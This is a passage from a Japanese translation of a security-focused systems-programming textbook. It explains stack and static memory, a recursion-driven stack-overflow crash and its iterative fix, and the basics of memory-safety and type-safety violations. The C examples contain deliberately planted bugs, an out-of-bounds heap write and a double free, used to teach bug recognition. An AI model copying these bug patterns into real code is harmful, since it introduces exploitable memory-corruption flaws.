  12. 実際には、最適化コンパイラーは関数呼び出しをまたいでレジスターを管理できるほど賢く、xをスタックに書き込む必要がなく、レジスター内に安全に保持できる場合があります(その方が読み書きが高速です)。この例は一般的なケースを示しており、最適化された特殊ケースを示しているわけではありません。

  13. Duff’s Device。Wikipedia(2023年アクセス)。Cの制御フローに関する興味深く奇妙な例です。Rustとは異なり、Cは非構造化制御フロー(goto文を含む)を許可します。

  14. Protection ring。Wikipedia(2022年アクセス)。 ↩2

  15. Microsoft recommended driver block rules。Microsoft(2023年アクセス)。

  16. すべてのアーキテクチャにおけるLinuxカーネルのシステムコール Marcin Juszkiewicz (2022年アクセス).

保証の観点:スタック安全性

小さなプログラムを堅牢化することで、スタックメモリと静的メモリについて学びます。 最初のバージョンには脆弱性があります。攻撃者は特定の入力を与えることでシステムメモリを使い尽くし、アプリケーションをクラッシュさせることができます(「サービス拒否」または DoS)。 修正後のバージョンは MISRA Rule 17.2(本質的には第 3 章で紹介した「再帰なし」)に準拠します。

[RR, Rule 17.2] 関数は(直接または間接的に)再帰的に自分自身を呼び出してはならない1

これにより脆弱性が修復され、可用性が向上します。 また、このルール/パターンは、再帰をサポートするあらゆるプログラミング言語に関係します! このルールは Python、Java、Go、Swift、TypeScript などにすぐに適用できます。

より一般的には、特定の関数のスタック安全性を高めるための、プラットフォーム非依存かつ言語非依存のパターンを探ります。

再帰と静的コールグラフ

付録の「理論:手続き間 CFG」セクションでは、多くの静的解析ツールが依拠するグラフの文脈で、再帰について簡単に検討しています。 このセクションを読み終えた後、興味のある方におすすめする短い任意の余談です。

スタック

スタックメモリは、プログラミングにおける最も基本的な抽象化の 1 つである関数(別名、プロシージャ、メソッド、サブルーチン)を支えます。 関数はパラメータとともに呼び出され、何らかの計算を行い、必要に応じて結果を返します。 したがって、ハードウェアには次のことを行う仕組みが必要です2

  1. 制御を渡す - 命令ポインタ(IP)を呼び出された関数のアドレスに設定し、完了したら呼び出しに続く文に戻す。

  2. データを渡す - 入力としてパラメータを提供し、結果を返す。新しい値として返す場合もあれば、入力の mut 化として返す場合もある。

  3. 作業メモリを割り当て、解放する - 呼び出された関数は、開始時にローカル変数用の領域を取得し、戻るときにその領域を解放する必要がある。

機械的には、スタックメモリは push と pop という 2 つの単純な操作だけで、これら 3 つの要件すべてを支えます。 これは同名の Last In First Out(LIFO)データ構造と同じように機能します。項目(アドレス、変数など)や関数全体の作業メモリブロック(「フレーム」と呼ばれます)をスタックへ push でき、pop できるのは最上部(最も最近 push された項目/フレーム)からだけです。

スタックメモリの目的は、サイズが固定されている(コンパイル時に既知である)データに対して、実行時の割り当てと解放を高速に支えることです。つまり:

  • スタックフレームは、単一の関数の実行に必要なメモリ上の「作業領域」の塊です。フレームには、その関数で使用される固定サイズのローカル変数がすべて含まれます。

  • push 操作(割り当て)は関数呼び出しに対応します。プログラム内で名前付き関数を呼び出すたびに、新しいフレームがスタックへ push されます3。呼び出された関数(例:callee)は、そのローカル変数用の作業メモリを得ます。これはcaller のフレーム(スタック上でその下に位置します)とは別です。ランタイムスタックは低いアドレスに向かって下方向に伸びます。

  • pop 操作(解放)は関数の戻りに対応します。関数が終了すると(制御が return キーワードに到達するか、関数スコープの終端に到達するため)、そのフレームは破棄されます。時間を節約するため、プログラマが C の memset4 のような関数を明示的に呼び出すか、Rust の zeroize5 のようなクレートを使用しない限り、データはクリア/消去されません。速度のために、代わりに SP が単にインクリメントされます。古い(低いアドレスの)データへのアクセスは、それを含むフレームが pop された時点でもはや合法ではありません。

なぜスタックは高速なのか?

ヒープメモリとは異なり、スタックメモリの仕組みはハードウェアで直接サポートされており、コンパイル時に決定できます。

思い出してください。「スタックポインタ」は CPU レジスタ(SP)です。 最適化されたハードウェアは、現在のスタック先頭がどこにあるかを追跡します。 コンパイラは、スタックへ効率的に push し、スタックから効率的に pop するための専用 CPU 命令を生成します。 これらの命令については、後ほどアセンブリのスニペットで少し見ます。

push/pop の説明をより具体的にするために、コードスニペットがスタックをどのように使用するかを可視化してみましょう。

#[inline(never)]
fn recursive_count_down(x: usize) -> usize {
    // Base case
    if x == 0 {
        println!("Boom!");
        return x;
    // Recursive case
    } else {
        println!("{x}...");
        return recursive_count_down(x - 1);
    }
}

#[inline(never)]
fn square(x: usize) -> usize {
    x * x
}

fn main() {
    let args: Vec<String> = std::env::args().collect();

    // 1st arg is binary name, e.g. "./stack_example 2"
    assert!(args.len() <= 2, "Too many arguments - enter one number");

    let x = args
        .iter()
        .nth(1)
        .expect("No arguments")
        .parse()
        .expect("Please provide a number");

    let _ = recursive_count_down(square(x));
}
  • main 関数は、単一のコマンドライン引数を usize 変数 x にパースします。引数が入力されていない場合、2 個を超える引数が入力された場合、または唯一の引数が正の数でない場合は、エラーメッセージを表示して終了します。

  • recursive_count_down(square(x)); は、入力引数を 2 乗するために 1 つの関数を呼び出し、次に x^2 から 0 までのカウントダウンシーケンスを出力するために別の関数を呼び出します。

  • このプログラムが実行時にスタックメモリをどのように使用するかに関心があるため、recursive_count_down または square が呼び出されるたびにコンパイラがスタックフレームを割り当てるよう、属性 #[inline(never)] を追加します。

    • 「インライン化」は、スタックフレームの割り当てや caller レジスタの保存を含む関数呼び出しのオーバーヘッドを避けられる場合がある、機会主義的なコンパイラ最適化です3。常に適用できるわけではなく、プログラマとしてそれがどこで行われるかを直接決めることもできません。したがって、それを使わない場合を想定して備えることは現実的です。

cargo run -- 2 で実行すると、このプログラムは次を出力します。

4...
3...
2...
1...
Boom!

では、その実行中にスタックメモリでは何が起きたのでしょうか? 呼び出された各関数は、それぞれ独自のスタックフレームを割り当てます。 main 用に 1 つ、square 用に 1 つ、そして recursive_count_down再帰呼び出し用に 1 つあります。

  • すべてのフレームの前に、戻りアドレス(次に実行する文のアドレス、つまり呼び出しが完了した後に CPU が IP を指すべき場所)もスタックへ(下方向に)push されます。

  • 特定の呼び出し規約では、関数の引数をその関数のフレームの前にスタックへ push することが必要な場合があります。一方で、最初のいくつかの引数については最適化としてレジスタを使用し(残りをスタックへ push する)ものもあります。

    • 簡潔にするため、この詳細と、callee-saved レジスタの保存/復元のための同様の push/pop 仕組みは省略します。

引数渡しとレジスタ保存を除くと、Boom! が出力されるときのスタックは次のようになります。

上記プログラムの実行終盤におけるスタック図。

プロセスの最大スタック領域を使い尽くす

上記プログラムのクレートは code_snippets/chp4/stack_example にあります。 次のエラーでバイナリをクラッシュさせる入力を見つけられますか? このエラーはどこから来るのでしょうか?

thread 'main' has overflowed its stack
fatal runtime error: stack overflow

二分探索アルゴリズム(ここでの “binary” は「2」を意味し、「コンパイル済みバイナリ」を意味するものではありません)は、十分に大きな入力を見つける方法の1つです。 しかし、十分に大きな数値を推測するのがおそらく最も簡単です。 クラッシュを引き起こす cargo run コマンドを見つけたら、それを書き留めてください。 修正が本当に有効であることを証明するために、同じ入力/攻撃を使用します。

MISRA Rule 17.2(「再帰なし」)を思い出してください。 この指針を適用することで、このプログラムの正確なインターフェイス(コマンドライン機能、出力内容)を維持しつつ、空間計算量を制限することでメモリ使用の堅牢性を高めることができます。

まず、中心的な問題を理解しましょう。指数的な、O(n^2) のスタック空間使用です。 攻撃者の入力は、スタックメモリ使用量に対して非対称な制御を行います。 入力整数に対して相対的にスケールします(“R” は再帰関数を示します)。

入力の関数として O(n^2) のスタック使用量を可視化しています。

普遍的な障害モード

再帰は、あらゆる Type-I、II、III システムでスタック枯渇のリスクをもたらします。 どの CPU アーキテクチャでも同様です。

スタック安全性のための堅牢化

MISRA 17.2 に対処するには、recursive_count_down を新しい iterative_count_down 実装に置き換えます。

#[inline(never)]
fn iterative_count_down(x: usize) {
    for i in (0..=x).rev() {
        match i {
            i if i == 0 => println!("Boom!"),
            _ => println!("{i}..."),
        }
    }
}

これで、スタックのスケーリングはすべての入力に対して定数、O(1) になります(“I” は反復関数を示します)。

入力の関数として O(1) のスタック使用量を可視化しています。

プログラムがメモリ枯渇で終了しなくなったことを検証するために、先ほど発見したクラッシュする入力で再実行してみてください。 エンジニアとして、その成功を見るのは満足感がありませんか?

終える前に、静的メモリがプログラムの静的文字列をどのように支えるのかを理解しましょう。

Rust != スタック安全性

Rust は大部分においてメモリ安全です。 既存の言語と比べると大きな飛躍です。 しかしスタック安全性、つまり再帰などによって引き起こされるスタックオーバーフローを検出する能力は、プラットフォーム固有です。

クラッシュする入力を見つけたとき、あなたの OS がそれを検出し、プロセスを先制的に強制終了しました。 ここで rustc は確かに役立ちました。コンパイル時にスタックプローブを挿入し、実行時にスタックデータの書き込み上限に達した場合、即座に制御を OS に渡せるようにしました。

しかし、多くの #![no_std] システムはこの検出機能をサポートしていません。 もしこのプログラムが Type-III マイクロコントローラー上で実行されていたなら、オーバーフローは検出されなかった可能性があります。関数が、事前に設定されたスタック上限を越えた先にたまたま格納されていたデータを破損していたかもしれません。 システムによっては、それがブートローダーを含む場合さえあります!

MISRA C 17.2 a は、{platform,language} に依存しないスタック安全性のための価値あるガイドラインです。 プログラム内のオーバーフローの可能性を排除する助けになります。

しかし、それでも任意の反復的な呼び出しチェーンについて、最悪ケースのスタック使用量がターゲットプラットフォームの能力を超えないことを保証する必要があります。 したがって、完全なスタック安全性は野心的な目標です。 cargo call-stack6 が役立ちます。

静的メモリ

静的メモリにはグローバルデータが含まれます。 ソースコード内のグローバル変数だけではありません(ただし、それらも静的メモリに置かれます)。ハードコードされた文字列や定数データ(例: include! マクロ[^IncludeMacro] によってコンパイル時に埋め込まれるファイルバイト)もそこに置かれます。 Rust に特化して言えば、次のとおりです。

  • 静的メモリは、static キーワードで宣言されたあらゆる変数も保持します。

  • 直感に反して、'static ライフタイムを持つ項目が静的メモリに格納される場合もあれば、そうでない場合もあります。

  • const キーワードを使うと、値をコンパイル時に計算できます。結果の値は、変数名が使われる場所に直接インライン化され、静的メモリ位置ではなく、実行可能命令ストリーム内にエンコードされることがあります。

プログラムの実行可能コードも技術的には静的メモリ内に存在しますが、上の図ではそれを区別するために別のボックスを使っています。

静的メモリセクションの中には読み取り専用のものもあれば、書き込み可能なものもあります。これはエクスプロイトに関係しますが、今はこの詳細を無視して、「グローバル」が実際に何を意味するのかに集中しましょう。

  1. 静的メモリ内のデータは、プログラムのライフタイムにわたって利用可能です。開始時から終了時までです。

  2. 静的メモリはスレッド間で共有されます。これには同期上の危険(例: データ競合)や性能を低下させる回避策(例: グローバルロック/ミューテックス)があります。しかし、これは有用で便利でもあります。

スレッドとは何ですか?

プロセスには軽量な代替手段があります。それがスレッドです。 複数のスレッドは、1つのプロセスのアドレス空間内に共存します。 各スレッドはそれぞれ独自のスタックを持ちます(前のセクションのファイルからプロセスへの図を参照してください)。

マルチスレッドには、マルチプロセスに対して2つの重要な利点があります。

  1. スケジューリング効率 - OS カーネルは、特定のカーネル空間データ構造を共有できることや、CPU レベルの最適化(例: Intel の「ハイパースレッディング」[^HyperThread] 技術)のおかげで、スレッドをより効率的にスケジューリングできます。

  2. 並行コンポーネント間のデータ受け渡し - スレッドはプロセスよりも容易かつ効率的にデータを共有でき、データ受け渡しの仲介役としてカーネルを待ったり依存したりする必要がないことがよくあります。静的メモリは、単一プロセス内の複数スレッド間で共有されるため、直接的な手段の1つです。

関数 recursive_count_down の単純化/非最適化されたアセンブリ(CPU が処理する命令ストリーム)を簡単に覗いてみましょう。 1行ずつ見ることはしません。 しかし、いくつかの詳細はメモリレイアウトをよりよく理解する助けになります。 まず、ソースコードを思い出してください。

#[inline(never)]
fn recursive_count_down(x: usize) -> usize {
    // Base case
    if x == 0 {
        println!("Boom!");
        return x;
    // Recursive case
    } else {
        println!("{x}...");
        return recursive_count_down(x - 1);
    }
}

https://godbolt.org を使って、-C "opt-level=z" フラグ(小さいコードサイズ向けの最適化であり、人間にとっての可読性にも寄与します)付きでアセンブリを生成します(結果はコンパイラバージョン7 によって異なる場合があります)。

example::recursive_count_down:
        push    rbx
        sub     rsp, 80
        mov     qword ptr [rsp + 8], rdi
        test    rdi, rdi
        je      .LBB0_1
        lea     rbx, [rsp + 8]
        lea     rax, [rsp + 16]
        mov     qword ptr [rax], rbx
        lea     rcx, [rip + .L__unnamed_1]
        lea     rdi, [rsp + 32]
        mov     qword ptr [rdi], rcx
        mov     qword ptr [rdi + 8], 2
        and     qword ptr [rdi + 32], 0
        mov     rcx, qword ptr [rip + core::fmt::num::imp::<impl core::fmt::Display for usize>::fmt@GOTPCREL]
        mov     qword ptr [rax + 8], rcx
        mov     qword ptr [rdi + 16], rax
        mov     qword ptr [rdi + 24], 1
        call    qword ptr [rip + std::io::stdio::_print@GOTPCREL]
        mov     rdi, qword ptr [rbx]
        dec     rdi
        call    qword ptr [rip + example::recursive_count_down@GOTPCREL]
        jmp     .LBB0_3
.LBB0_1:
        lea     rax, [rip + .L__unnamed_2]
        lea     rdi, [rsp + 32]
        mov     qword ptr [rdi], rax
        mov     qword ptr [rdi + 8], 1
        lea     rax, [rip + .L__unnamed_3]
        mov     qword ptr [rdi + 16], rax
        xorps   xmm0, xmm0
        movups  xmmword ptr [rdi + 24], xmm0
        call    qword ptr [rip + std::io::stdio::_print@GOTPCREL]
        xor     eax, eax
.LBB0_3:
        add     rsp, 80
        pop     rbx
        ret

.L__unnamed_3:

.L__unnamed_4:
        .ascii  "...\n"

.L__unnamed_1:
        .quad   .L__unnamed_3
        .zero   8
        .quad   .L__unnamed_4
        .asciz  "\004\000\000\000\000\000\000"

.L__unnamed_5:
        .ascii  "Boom!\n"

.L__unnamed_2:
        .quad   .L__unnamed_5
        .asciz  "\006\000\000\000\000\000\000"

このアセンブリは何を意味しているのでしょうか?

本書では、扱う範囲を適切に保つため、アセンブリは教えません。 しかし、アセンブリを読めることは、システムプログラミングにおいていざというときに役立つ場合があります。 また、これは本格的なバイナリ悪用を学ぶための前提条件でもあります。

バイナリ攻撃者側の知識に追いつくには、Practical Binary Analysis: Build Your Own Linux Tools for Binary Instrumentation, Analysis, and Disassembly8 を検討してください。Appendix A: A Crash Course on x86 Assembly は Intel マシン向けの手早い入門です。

ここでの目的に対しては、上記の2つの命令に注目してください。

  • sub rsp, 80(冒頭付近)- フレームをプッシュし、スタックポインター(SP)を80バイト減少させます。
  • add rsp, 80(末尾付近)- フレームをポップし、スタックポインター(SP)を80バイト増加させます。

このアセンブリスニペットでは多くのことが起きています。 静的メモリを理解するうえで関連する詳細が1つあります。各フレームは各文字列の一意なコピーを割り当てていません。割り当てているのは、ASCII文字列を保持する静的メモリ位置への短い(ホスト整数幅の)ポインターだけです。

視覚的には、これは複数の再帰フレームが、出力の印字用に格納された同じ文字列をすべて参照していることを意味します。

静的文字列を参照するスタックフレーム。

これはスタック枯渇の観点では何を意味するのでしょうか?

  • 劣化比率 - 静的メモリは、スタックメモリ使用量に対してほぼ(ポインター幅を除けば)1:N の負荷を持ちます。ここで、

    • 1 は静的データ項目の単一コピーです。

    • N1 個の項目への参照に対する再帰深度です。

    • 1:Nアルゴリズムの空間計算量影響しません(スタックメモリの N:N データとは異なります)。

  • 枯渇防御 - スタックオーバーフローDoSに対する堅牢化は、言語非依存のパターン(MISRA C 17.2)のレベルで有効です。なぜなら、それはハードウェアレベルで全体の(スタックおよび静的)空間計算量に影響するためです。

    • 致命的な実行時障害ベクトルに関して、関数粒度の保証を享受できます!

    • プログラム全体の保証については、最悪ケースのスタック使用量も計算し、各ターゲットプラットフォームがそれをサポートすることを確認すれば、この特定のバグクラスは排除されます6

要点

ここで焦点を当てているスタックメモリは至るところで使われており、基本的なプログラミング抽象である関数呼び出しの実行時の足場を提供します。 機械的には、同じ名前を持つ Last In First Out(LIFO)データ構造のように動作します。

スタック安全性、つまり実行時にスタック領域が枯渇しないという保証は、再帰を取り除くことで可能になります。 MISRA C ルール 17.2 に従うことによってです。 しかし、プラットフォーム固有のスタック安全性に関する主張を行うには、それでも反復的なプログラム全体について最悪ケースのスタック使用量を計算する必要があります。

静的メモリは、グローバル変数と定数データを保持します。 これはスタック安全性に意味のある影響を与えません。 初期化、起こり得るミューテックス、およびデータキャッシュヒット率を除けば、静的メモリが実行時に与える影響は小さいかもしれません。

次のセクションでは、攻撃者の視点から、より一般的な種類の安全性、すなわち メモリ安全性型安全性 を破る方法を探ります。


  1. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition). MISRA(2019)。

  2. [個人的なお気に入り] Computer Systems: A Programmer’s Perspective. Randal Bryant、David O’Hallaron(2015)。

  3. これは常に真であるとは限りません。現代的なコンパイラが行う可能性のある最適化の1つに「関数インライン化」と呼ばれるものがあります。これは、プログラマーが1つの長い関数を書いたかのように、呼び出し先の関数本体を呼び出し元の関数本体へ取り込むものです。「ホットループ」(多くのループ反復が実行される)内で呼び出される関数では、呼び出しのために各ループ反復でスタックフレームをプッシュすることに伴う小さなオーバーヘッドを避けることで、性能を向上させることができます。トレードオフはバイナリサイズです。インライン化された関数へのソースレベルの各呼び出し箇所は、コードの完全なコピーでなければなりません(呼び出される中央の場所が存在しないためです)。必要になることはまれですが、Rust の inline 属性マクロ9 を使うと、この特定の動作を制御できます。 ↩2

  4. memset. Linux マニュアル(2022年アクセス)。

  5. zeroize. Tony Arcieri(2022年アクセス)。

  6. cargo-call-stack. japaric(2023年アクセス)。 ↩2

  7. -C "opt-level=z" とともに rustc v1.71 を使用しました。

  8. [個人的なお気に入り] Practical Binary Analysis: Build Your Own Linux Tools for Binary Instrumentation, Analysis, and Disassembly. Dennis Andriesse(2018)。

  9. The Rust Reference: The inline attribute. The Rust Team(2022年アクセス)。

攻撃者の視点: 安全性を破る(1/2)

第一原理から始めましょう。データはコードです1。 多くの抽象化は、次のような論理的な分離を強制しようとします。

  • データ - 読み書きできる情報。
  • コード - 実行できる情報。

しかし、この分離の抽象化は、次のうち1つ以上に該当する可能性があります。

  1. 設計上脆弱である(高レベルのエラー)。

  2. 実装上脆弱である(低レベルのエラー)。

  3. 環境との相互作用によって脆弱である(フォールトインジェクション、サイドチャネルなど)。

動機を持った敵対者が、3つの脆弱性クラスのいずれかに対するエクスプロイトを構築するか、複数のクラスを連鎖させると、彼らはおそらく自分が制御するデータを何らかの形の実行可能な論理コードとして扱う方法を見つけたことになります。

より一般的には、Sergey Bratus はエクスプロイトを次のように定義しています2

(複雑な)コンピューターまたは人間とコンピューターのシステムを、その設計者や運用者の信頼仮定および/または期待に反する動作をさせること。

エクスプロイトの文脈における「信頼仮定」とは、システムが特定のセキュリティ要件または機能要件を満たすという、私たちが持つ信念です。 前のセクションでは、スタック安全性を破ることが可用性をどのように損なうかを見ました。

あるシステムが機密性を保護していると信じているとしましょう。 この信頼仮定の下では、認証されていない、または権限を持たないエンティティが機密データ(シークレット、知的財産、ユーザーの PII など)を読み取ることができるなら、それは有効な攻撃です。 それは依然としてデータをデータとして扱っています。 ただし、アクセス制御が誤っているだけです。 しかし、最も壊滅的な攻撃は、何らかのアクションを実行し、データをコードとして扱う傾向があります。

攻撃者が任意であれ制約付きであれコード実行を獲得すると、ほぼあらゆる信頼仮定を侵害できる可能性があります。 機密性、完全性、可用性など、何であれです。 攻撃者の能力は一般化されます。

これが今後のセクションのトピックです。メモリ破壊脆弱性(実装上の問題、上記の脆弱性クラス #2)に対する入門的なエクスプロイト開発です。

覚えておいてください。データ。は。コード。です。

高レベルでは、コードとデータの分離はどのように破られるのか?

ネイティブ実行ファイルを作成するために、コンパイラーは、CPU だけが理解できるエンコーディングでデータを出力します。CPU はそれをコードとして盲目的に実行してしまいます。 一度に任意のチャンクを1つずつ。 これは、先ほど議論したフェッチ/デコード/実行サイクルの[ドラマ化された表現]です。

危険が抑えられているのは、命令ポインター(IP)の値という単一の数値が期待される範囲内に留まり、期待される論理シーケンスを実行するという事実によります。 少なくとも、ほとんどの場合は。 創造的な攻撃者は、IP レジスターの内容を制御する方法を見つけることができますし、実際に見つけています。 技術用語では制御フローハイジャックと呼ばれ、これはデータとコードの分離を破った結果です。

エクスプロイトを詳細に掘り下げる前に、根本原因について議論しましょう。 「値」という用語は、プログラム内の型付きデータの具体的なインスタンス、つまり整数、文字列、構造体、継承されたメソッドを持つクラスなどを指すことを思い出してください。 バイナリエクスプロイトでは、多くの場合、値の安全性仮定を破る必要があります。 つまり、次のいずれか、または両方に違反することを意味します。

  1. メモリ安全性 - 空間的安全性と時間的安全性の両方を必要とし、次のように定義されます。

    • 空間的メモリ安全性 - 値へのすべてのアクセスが正しい境界内に留まること。

    • 時間的メモリ安全性 - 値はアクセス時点で有効でなければならない(例: 初期化済みだが、まだ解放されていない)。

  2. 型安全性 - 値は正しい型(セマンティクス)としてのみアクセスされ、またそうする権限を与えられたコード(可視性)によってのみアクセスされる必要があります。

ここで「バイナリエクスプロイト」とは、特にネイティブコンパイルされたプログラムを攻撃することを指します。元のソースコードにアクセスできない場合もあります。 C、C++、または unsafe Rust のいずれであってもです。

メモリ安全性と型安全性についてより具体的に議論するために、3つの C スニペットを調べ、その中の違反を可視化します。注意:

  • 3つのスニペットはいずれも、私たちの知る限り、エクスプロイト可能ではありません。これらの小さなプログラムは安全性を破っていますが、データとコードの分離を破ることを可能にするほど不運な形ではありません。

この区別は意図的です。 まずは、たとえ無害であっても、バグを識別することを学ぶところから始めます。 そこから脆弱性のエクスプロイトへと発展させていきます。

空間的メモリ安全性(値の境界)を破る

この短い C プログラムを考えてみましょう。

#include <assert.h>     // assert
#include <stdio.h>      // puts
#include <string.h>     // strncpy
#include <stdlib.h>     // malloc

char* get_greeting() {
    char* greeting = (char*)malloc(6);
    if (greeting == NULL) {
        return NULL;
    } else {
        strncpy(greeting, "Hello", 6);
        assert(greeting[5] == '\0');
        return greeting;
    }
}

int main() {
    char* greeting = get_greeting();
    if (greeting != NULL) {
        // バッファー上書き、空間的安全性違反!
        greeting[12] = '!';

        puts(greeting);
        free(greeting);
    }
    return 0;
}

この小さなスニペットには、実際には C 固有の細かな事項がかなり詰め込まれています。 分解してみましょう。

  • get_greeting() は、ヒープ割り当てされた文字列を参照で返します(生ポインターを使用)。C の文字列は null 終端されます。つまり、バイトリテラル /0、すなわち「null バイト」で終わらなければなりません。そして、C の文字列処理はエラーが非常に起きやすいことで悪名高いです。この関数は、注意深い一連の手順を正しく実行しています。

    • 標準ライブラリのメモリアロケーターである malloc() の呼び出しを介して、ヒープ上に 6 バイトを割り当てます(Rust の std も、あなたに代わって同じ API を使用しています!)。6 は、ASCII 文字列 Hello とその null 終端子を格納するために必要な最小の長さです。

    • ヒープメモリがすでに満杯の場合(枯渇)、または要求された割り当てが残りメモリに収まらないほど大きい場合(断片化)、malloc()NULL ポインターを返すことがあります。この重要なエッジケースを処理することを忘れず、同様に NULL を返すことで、エラーを呼び出し元へ暗黙的に伝播しています。

    • malloc() が成功した場合、要求されたサイズのヒープ割り当てバッファーを返します。そこで文字列 Hello をコピーします。strncpy()(コピーする最大バイト数を受け取り、ここでは 6)は、安全でない strcpy() 関数(NULL バイトに到達するまでデータのコピーを続けるため、空間的違反につながることがよくあります)の「ベストプラクティス」な安全版です。

    • strncpy() は、指定された入力最大長を超えない場合、null バイトを含めます。ただし、念のため、assert() を使用して文字列が null 終端されていることを確認します。終端されていない文字列を出力しようとすると、機密データが漏洩する可能性があります。なぜなら、/0 に到達するまで隣接するバイトを出力し続けてしまうからです!

ライブラリ抽象化設計の影響

Safe Rust では、文字列を扱う際に、メモリ表現に関する認知負荷をそこまで負う必要がありません。 std::string::String3 を使えば、手動割り当て、特定の長さのコピー、null 終端、エンコーディングについて心配する必要はありません。

ある程度、これはモダン C++ の std::string クラス4 にも当てはまります!

  • 残念ながら、get_greeting() の呼び出し元である main() はそこまで注意深くありません。ここでは、挨拶文字列が Hello World、つまり 11 文字長であると誤って仮定しています。そして、puts() で挨拶を出力する前に、12 文字目として感嘆符を追加しようとします。

    • 長さの不一致により、文 greeting[12] = '!'; はヒープ割り当てされたバッファーの境界を越えて書き込んでおり、その時点で隣接するヒープ位置にたまたま格納されていた可能性のある任意の値のメモリを破損しています。これは境界外書き込みです。この場合、書き込まれるデータは攻撃者が制御できるものではないため、脆弱性ではなくバグです。

      • 注: もし greeting が実際に 11 文字長で null 終端されていた場合、greeting[12] = '!';NULL バイトを上書きし、前述の puts() でのデータ漏洩を引き起こしていたでしょう。したがって、どちらにせよここにはエラーがあります。次の例では、正しい ! 追加ロジックを書き出します。
    • 最後に、C では、文字列のために割り当てられたメモリを手動で free() することを覚えておく必要があります。たとえ元の割り当てを行ったのが get_greeting() 関数であってもです。所有権がなければ、誰がいつメモリを解放するかについて強制される契約はありません。忘れるとメモリリーク(データ漏洩ではなく、可用性の問題であり、機密性の問題ではありません)につながり、早すぎる解放はuse-after-free (UAF) バグ(悪用可能な場合があります)を生み、誤って複数回解放すると二重解放になります(後で見ることになります)。

上記のプログラムはエラーなくコンパイルされ、空間的安全性違反を含んでいるにもかかわらず、最後まで実行されます。 出力は次のとおりです。

Hello

少なくとも、最後に確認した時点では私たちの個人用マシンではそうでした。これは UB の「時限爆弾」であり、プラットフォームやツールチェーンが変わると爆発する可能性があります。 この上書きによって空間的メモリ安全性が破壊されたため、もはやこのプログラムの機能性を信頼することはできません。

視覚的には、文 greeting[12] = '!';(境界外書き込み)は次のようなメモリ破損を引き起こします。

バッファー上書き: 空間的メモリ安全性違反。

同様のバグが悪用可能になるための前提条件は何か?

古典的な「バッファーオーバーフロー」は、悪用可能な空間的脆弱性の一例です。 これは、バッファーの容量を超えて、複数の連続したバイトを上書きするものです。 私たちのバッファー上書きの例のように、固定オフセット(12)にある単一の固定バイト(!)だけではありません。

なぜこの違いが重要なのでしょうか? スタックの制御フロー実装における重要な詳細があるためです。 関数呼び出しが戻るために、コンパイル済みコードは各スタックフレームの先頭にリターンアドレスを配置します(IP レジスターをスタックにプッシュします)。 関数の終了時に、この格納された値が Instruction Pointer にポップされます。 これにより、CPU は完了した関数呼び出しに続く次の文へ到達できます。

コンパイラーが挿入する「スタックカナリア」(リターンアドレスの前にランダムな値を挿入し、関数終了時にそれを検証するエクスプロイト緩和策)が使われる前は、バッファーオーバーフロー脆弱性は簡単に悪用できました。 攻撃者は、リターンアドレス(CPU が使用する制御フローメタデータ)を上書きするのに十分な長さの文字列を書き込むだけで、データをコードに変えることができました。 つまり、次のようになります。

古典的なスタックバッファーオーバーフローエクスプロイト。

時間的メモリ安全性の破壊(値の妥当性)

get_greeting() は変更せず、以前の空間的バグを修正するために main() を更新したとしましょう。 しかし、そのリファクタリングによって新しい時間的バグが入り込みました!

リファクタリングには注意が必要

プロフェッショナルなソフトウェアエンジニアリングにおいて、既存コードのリファクタリングには重要な利点があることがよくあります。 しかし、新しいバグを持ち込むリスクもあります。 テストスイートやアーキテクチャパターンはそのリスクを低減できますが、自明でないコードベースではそれを完全に排除することはできません。

リファクタリングの多い Pull Request (PR) は、セキュリティ固有のコードレビューを行う絶好のタイミングです。

int main() {
    char* greeting = get_greeting();
    if (greeting != NULL) {
        // "!" を正しく追加
        size_t greeting_len = strlen(greeting); // null バイトを含まない
        greeting = (char*)realloc(greeting, greeting_len + 2);
        if (greeting != NULL) {
            // 下の2行の代わりに、ここで strcat を使用することもできる
            greeting[greeting_len] = '!';
            greeting[greeting_len + 1] = '\0';
        }
        puts(greeting);
        free(greeting);
    }

    // 二重解放、時間的安全性違反!
    free(greeting);
    return 0;
}
  • 今回は、C で文字列に追加するには、(realloc() を介して)背後のメモリを手動で再割り当てする必要があることを覚えていました。もはや 11 文字の Hello World が返るとは仮定せず、代わりに strlen で文字列の長さを動的に計算します。

    • greeting が非 null であることを確認した後に strlen を呼び出すようにしています。そうしないと null ポインタをデリファレンスし、UB が発生します。

    • 少し癖のある点として、報告される長さには null 終端文字が含まれません(ただし、strlen が正しい結果を報告するには null 終端文字が存在していなければなりません)。そのため、greeting_len + 2 を指定して realloc を呼び出しています。これは、! を追加するための領域と、新しい null バイトを付加するための領域の両方を考慮しているためです。

    • この詳細を忘れて greeting_len + 1 を使っていた場合、コードは off-by-one エラーによって再びバッファ上書きを引き起こします! C における文字列処理は危険に満ちていることを忘れないでください。

  • 再割り当ては失敗する可能性があるため、ここでも NULL が返っていないか確認します。realloc() が成功した場合、! と必要な null 終端文字の両方を正しく追加します。その後、変更された文字列を出力して解放します。

  • すべてを正しく行うところまでかなり近づいていたにもかかわらず、最後に重大な間違いを犯しています。greeting をもう一度解放しているのです。ダブルフリーバグです。同じメモリチャンクを二度解放してはなりません。この微妙なエラーは深刻な副作用をもたらす可能性があります。

しかし今回も危機を免れました。 このプログラムは警告なしでコンパイルされますが、ダブルフリーエラーは実行時に捕捉されます(Ubuntu 20.04、glibc 2.31 の場合):

Hello!
free(): double-free detected in tcache 2
Aborted (core dumped)

視覚的には、2 回の free は時間的に連続したイベントです。 2 回目の free は致命的なエラーとして正常に検出されました。

ダブルフリー: 時間的メモリ安全性違反。

早期の abort はエンドユーザーにとって唐突に感じられるでしょう。 また、バックエンドサービスではダウンタイムにつながる可能性もあります。 しかし、実行時検出によってエクスプロイトを防げる可能性があります! ここでは運が良かったのです。この特定のダブルフリーは、最近のバージョンの glibc に同梱されている、私たちの特定のメモリアロケータ5によって捕捉されました。 glibc の Wiki6 によると:

malloc サブシステムは、コード全体を通じてヒープ破損を検出するための合理的な試みを行います。 一部のチェックは一貫してエラーを検出します(たとえば、free に十分にアラインされていないポインタを渡す場合)。 しかし、ほとんどのチェックはヒューリスティックであり、欺くことができます…ヒープ破損はしばらく気付かれないこともあり、まったく報告されないこともあります。

言い換えると、私たちのサンプルスニペットにおけるダブルフリーは、たまたま glibc のアロケータ実装内のヒューリスティックによって検出されたということです。 古いアロケータや単純なアロケータを使用する別のプラットフォームでは捕捉されなかったかもしれません。 さらに、より複雑なシーケンスで大きな割り当て要求を伴うダブルフリーバグは、まったく捕捉されない可能性もあります。

